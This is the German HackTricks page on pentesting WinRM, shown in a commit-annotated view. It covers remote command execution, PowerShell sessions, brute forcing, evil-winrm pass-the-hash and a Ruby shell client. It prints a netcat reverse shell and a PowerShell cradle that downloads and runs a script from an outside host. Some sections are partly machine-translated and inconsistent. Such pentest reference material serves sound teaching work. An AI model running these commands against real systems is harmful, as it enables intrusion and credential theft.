hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

418 lines
21 KiB
Markdown
Raw Normal View History

2022-07-28 09:46:19 +00:00
# 5985,5986 - Pentesting WinRM
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
2024-02-10 15:36:32 +00:00
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
2024-02-10 15:36:32 +00:00
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) wird von Microsoft als **Protokoll** hervorgehoben, das die **ferngesteuerte Verwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basierte Schnittstelle für WMI-Operationen.
2024-02-10 15:36:32 +00:00
Das Vorhandensein von WinRM auf einer Maschine ermöglicht eine einfache Fernverwaltung über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, auf das Öffnen bestimmter Ports zu prüfen:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
2024-02-10 15:36:32 +00:00
Ein offener Port aus der obigen Liste zeigt an, dass WinRM eingerichtet wurde und somit Versuche zur Initiierung einer Remote-Sitzung ermöglicht.
2024-02-10 15:36:32 +00:00
### **Initiierung einer WinRM-Sitzung**
2024-02-10 15:36:32 +00:00
Um PowerShell für WinRM zu konfigurieren, kommt das `Enable-PSRemoting`-Cmdlet von Microsoft zum Einsatz, das den Computer für die Annahme von Remote-PowerShell-Befehlen einrichtet. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und einen beliebigen Host als vertrauenswürdig zu kennzeichnen:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 15:36:32 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
2024-02-10 15:36:32 +00:00
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur Konfiguration von `trustedhosts`, ein Schritt, der aufgrund seiner Auswirkungen vorsichtige Überlegungen erfordert. Es wird auch darauf hingewiesen, dass es möglicherweise erforderlich ist, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Angreiferrechner zu ändern.
2024-02-10 15:36:32 +00:00
Darüber hinaus kann WinRM **remote aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
2024-02-10 15:36:32 +00:00
Diese Methode ermöglicht die Remote-Einrichtung von WinRM und erhöht die Flexibilität bei der Verwaltung von Windows-Maschinen aus der Ferne.
2024-02-10 15:36:32 +00:00
### Überprüfen der Konfiguration
2024-02-08 21:36:35 +00:00
2024-02-10 15:36:32 +00:00
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch Ausführen dieses Befehls sollten Sie Details zur Protokollversion und zur WSMID erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Im Folgenden finden Sie Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten Ziel zeigen:
2024-02-08 21:36:35 +00:00
2024-02-10 15:36:32 +00:00
- Für ein Ziel, das **korrekt** konfiguriert ist, sieht die Ausgabe ähnlich aus wie:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
2024-02-10 15:36:32 +00:00
Die Antwort sollte Informationen über die Protokollversion und die WSMID enthalten, die darauf hinweisen, dass WinRM korrekt eingerichtet ist.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (161) (1).png>)
2024-02-10 15:36:32 +00:00
- Im Gegensatz dazu würde bei einem Ziel, das nicht für WinRM konfiguriert ist, keine solche detaillierte Information angezeigt, was auf das Fehlen einer ordnungsgemäßen WinRM-Konfiguration hinweist.
2024-02-08 21:36:35 +00:00
![](<../.gitbook/assets/image (162).png>)
2024-02-10 15:36:32 +00:00
### Führen Sie einen Befehl aus
2024-02-10 15:36:32 +00:00
Um `ipconfig` remote auf einer Zielmaschine auszuführen und die Ausgabe anzuzeigen, tun Sie folgendes:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (163) (1).png>)
2024-02-10 15:36:32 +00:00
Sie können auch **einen Befehl Ihrer aktuellen PS-Konsole über** _**Invoke-Command**_ **ausführen**. Angenommen, Sie haben lokal eine Funktion namens _**enumeration**_ und möchten sie auf einem Remote-Computer ausführen, können Sie Folgendes tun:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2024-02-10 15:36:32 +00:00
### Skript ausführen
2024-02-10 15:36:32 +00:00
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 15:36:32 +00:00
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
```
2024-02-10 15:36:32 +00:00
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 15:36:32 +00:00
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock { C:\path\to\script.ps1 }
```
2024-02-10 15:36:32 +00:00
Make sure that the script is accessible on the target machine and that the WinRM service is enabled and configured properly.
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Reverse-Shell erhalten
Um eine Reverse-Shell zu erhalten, können Sie verschiedene Techniken verwenden. Hier sind einige gängige Methoden:
1. **Netcat**: Verwenden Sie den Befehl `nc` oder `ncat`, um eine Verbindung zu einem Remote-Server herzustellen und eine Reverse-Shell zu erhalten. Beispiel: `nc -e /bin/sh <IP> <Port>`
2. **Metasploit**: Verwenden Sie das Metasploit-Framework, um eine Reverse-Shell zu generieren. Sie können den `msfvenom`-Befehl verwenden, um eine Payload zu erstellen und dann den `exploit/multi/handler`-Modul verwenden, um eine Verbindung zu empfangen.
2024-02-10 15:36:32 +00:00
3. **PowerShell**: Verwenden Sie PowerShell, um eine Reverse-Shell zu erhalten. Sie können den `Invoke-PowerShellTcp`-Befehl verwenden, um eine Verbindung zu einem Remote-Server herzustellen und eine Shell zu erhalten.
2024-02-10 15:36:32 +00:00
4. **Python**: Verwenden Sie Python, um eine Reverse-Shell zu erhalten. Sie können den `socket`-Modul verwenden, um eine Verbindung zu einem Remote-Server herzustellen und eine Shell zu erhalten.
Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, um eine Reverse-Shell zu erhalten, und dass Sie die richtigen IP-Adresse und Portnummer angeben, um eine Verbindung herzustellen.
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Erhalten Sie eine PS-Sitzung
Um eine interaktive PowerShell-Shell zu erhalten, verwenden Sie `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-10 15:36:32 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
2024-02-10 15:36:32 +00:00
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt**
2024-02-10 15:36:32 +00:00
### **WinRM erzwingen**
2024-02-10 15:36:32 +00:00
Wenn Sie PS Remoting und WinRM verwenden möchten, aber der Computer nicht konfiguriert ist, können Sie es mit folgendem Befehl aktivieren:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-10 15:36:32 +00:00
### Speichern und Wiederherstellen von Sitzungen
2024-02-10 15:36:32 +00:00
Dies funktioniert nicht, wenn die Sprache auf dem Remote-Computer eingeschränkt ist.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
2024-02-10 15:36:32 +00:00
In dieser Sitzung können Sie PS-Skripte mit _Invoke-Command_ laden.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-10 15:36:32 +00:00
### Fehler
2024-02-10 15:36:32 +00:00
Wenn Sie den folgenden Fehler finden:
2024-02-10 15:36:32 +00:00
`enter-pssession : Die Verbindung mit dem Remoteserver 10.10.10.175 ist mit der folgenden Fehlermeldung fehlgeschlagen: Der WinRM-Client kann die Anforderung nicht verarbeiten. Wenn das Authentifizierungsschema von Kerberos abweicht oder der Clientcomputer nicht zu einer Domäne gehört, muss der HTTPS-Transport verwendet werden oder die Zielmaschine muss zur Konfigurationseinstellung TrustedHosts hinzugefügt werden. Verwenden Sie winrm.cmd, um TrustedHosts zu konfigurieren. Beachten Sie, dass Computer in der TrustedHosts-Liste möglicherweise nicht authentifiziert sind. Weitere Informationen erhalten Sie, indem Sie den folgenden Befehl ausführen: winrm help config. Weitere Informationen finden Sie im Hilfethema about_Remote_Troubleshooting.`
2024-02-10 15:36:32 +00:00
Versuchen Sie es auf dem Client (Informationen von [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
2024-02-10 15:36:32 +00:00
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit Echtzeit-Nachrichten und Einblicken auf dem neuesten Stand der schnelllebigen Hacking-Welt.
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
## WinRM-Verbindung in Linux
2024-02-10 15:36:32 +00:00
### Brute-Force
2020-09-20 21:41:33 +00:00
2024-02-10 15:36:32 +00:00
Seien Sie vorsichtig, das Brute-Forcing von WinRM kann Benutzer blockieren.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-10 15:36:32 +00:00
### Verwendung von evil-winrm
2020-09-20 21:41:33 +00:00
2024-02-10 15:36:32 +00:00
Evil-WinRM ist ein Werkzeug, das für die Pentesting-Phase entwickelt wurde und es ermöglicht, eine Remote-Verbindung zu einem Windows-Host über das WinRM-Protokoll herzustellen. Es bietet eine einfache und effektive Möglichkeit, auf Windows-Systeme zuzugreifen und diese zu übernehmen.
2024-02-10 15:36:32 +00:00
#### Installation
Um Evil-WinRM zu verwenden, müssen Sie es zuerst installieren. Führen Sie dazu den folgenden Befehl aus:
```plaintext
gem install evil-winrm
```
2024-02-10 15:36:32 +00:00
#### Verbindung herstellen
2024-02-10 15:36:32 +00:00
Nach der Installation können Sie eine Verbindung zu einem Windows-Host herstellen, indem Sie den Befehl `evil-winrm` gefolgt von der IP-Adresse des Ziels und den Anmeldeinformationen ausführen:
```plaintext
evil-winrm -i <IP-Adresse> -u <Benutzername> -p <Passwort>
```
#### Befehle ausführen
Sobald Sie eine Verbindung hergestellt haben, können Sie Befehle auf dem Zielhost ausführen. Verwenden Sie dazu den Befehl `shell`:
```plaintext
shell
```
Dadurch gelangen Sie in eine interaktive Shell, in der Sie Befehle wie auf einem lokalen Windows-System ausführen können.
#### Dateien übertragen
Mit Evil-WinRM können Sie auch Dateien zwischen Ihrem lokalen System und dem Zielhost übertragen. Verwenden Sie dazu den Befehl `upload` oder `download` gefolgt von den Pfaden der Dateien:
```plaintext
upload <lokaler Pfad> <Zielpfad>
download <Zielpfad> <lokaler Pfad>
```
2024-02-10 15:36:32 +00:00
#### Beenden der Verbindung
2024-02-10 15:36:32 +00:00
Um die Verbindung zu beenden, geben Sie einfach den Befehl `exit` ein.
2024-02-10 15:36:32 +00:00
#### Fazit
Evil-WinRM ist ein leistungsstarkes Werkzeug für die Pentesting-Phase, das Ihnen ermöglicht, eine Remote-Verbindung zu Windows-Hosts herzustellen und verschiedene Aktionen auszuführen. Es ist einfach zu installieren und zu verwenden, was es zu einer nützlichen Ressource für Hacker macht.
```ruby
2024-02-10 15:36:32 +00:00
gem install evil-winrm
```
Lesen Sie die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
2024-02-10 15:36:32 +00:00
Um evil-winrm zum Verbinden mit einer IPv6-Adresse zu verwenden, erstellen Sie einen Eintrag in der Datei _**/etc/hosts**_, indem Sie einem Domainnamen die IPv6-Adresse zuweisen, und verbinden Sie sich mit dieser Domain.
2024-02-10 15:36:32 +00:00
### Übergeben des Hashes mit evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)
2024-02-10 15:36:32 +00:00
### Verwendung einer PS-Docker-Maschine
Um eine PS-Docker-Maschine zu verwenden, müssen Sie zunächst sicherstellen, dass Docker auf Ihrem System installiert ist. Sie können dies überprüfen, indem Sie den Befehl `docker version` ausführen.
Sobald Docker installiert ist, können Sie eine PS-Docker-Maschine erstellen, indem Sie den Befehl `docker run -it mcr.microsoft.com/powershell` ausführen. Dadurch wird eine neue Containerinstanz gestartet, die die PowerShell-Umgebung enthält.
2024-02-10 15:36:32 +00:00
Um auf den Container zuzugreifen, verwenden Sie den Befehl `docker exec -it <container-id> pwsh`. Dadurch wird eine interaktive Sitzung mit der PowerShell im Container gestartet.
Sie können nun PowerShell-Befehle innerhalb des Containers ausführen, um verschiedene Aufgaben auszuführen, z. B. das Durchführen von Netzwerkservices-Pentests.
Bitte beachten Sie, dass das Verwenden einer PS-Docker-Maschine bestimmte Voraussetzungen erfordert und Sie über entsprechende Kenntnisse verfügen sollten, um sie sicher und effektiv zu nutzen.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2024-02-10 15:36:32 +00:00
### Verwendung eines Ruby-Skripts
2024-02-10 15:36:32 +00:00
**Code extrahiert von hier: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-10 15:36:32 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-10 15:36:32 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-10 15:36:32 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-10 15:36:32 +00:00
## Referenzen
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2024-02-10 15:36:32 +00:00
## HackTricks Automatische Befehle
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-10 15:36:32 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-10 15:36:32 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-10 15:36:32 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 15:36:32 +00:00
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
2024-02-10 15:36:32 +00:00
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
2022-10-27 23:22:18 +00:00
2024-02-10 15:36:32 +00:00
**Echtzeit-Hack-News**\
Bleiben Sie mit den neuesten Nachrichten und Einblicken aus der schnelllebigen Hacking-Welt auf dem Laufenden.
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
2023-02-27 09:28:45 +00:00
2024-02-10 15:36:32 +00:00
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>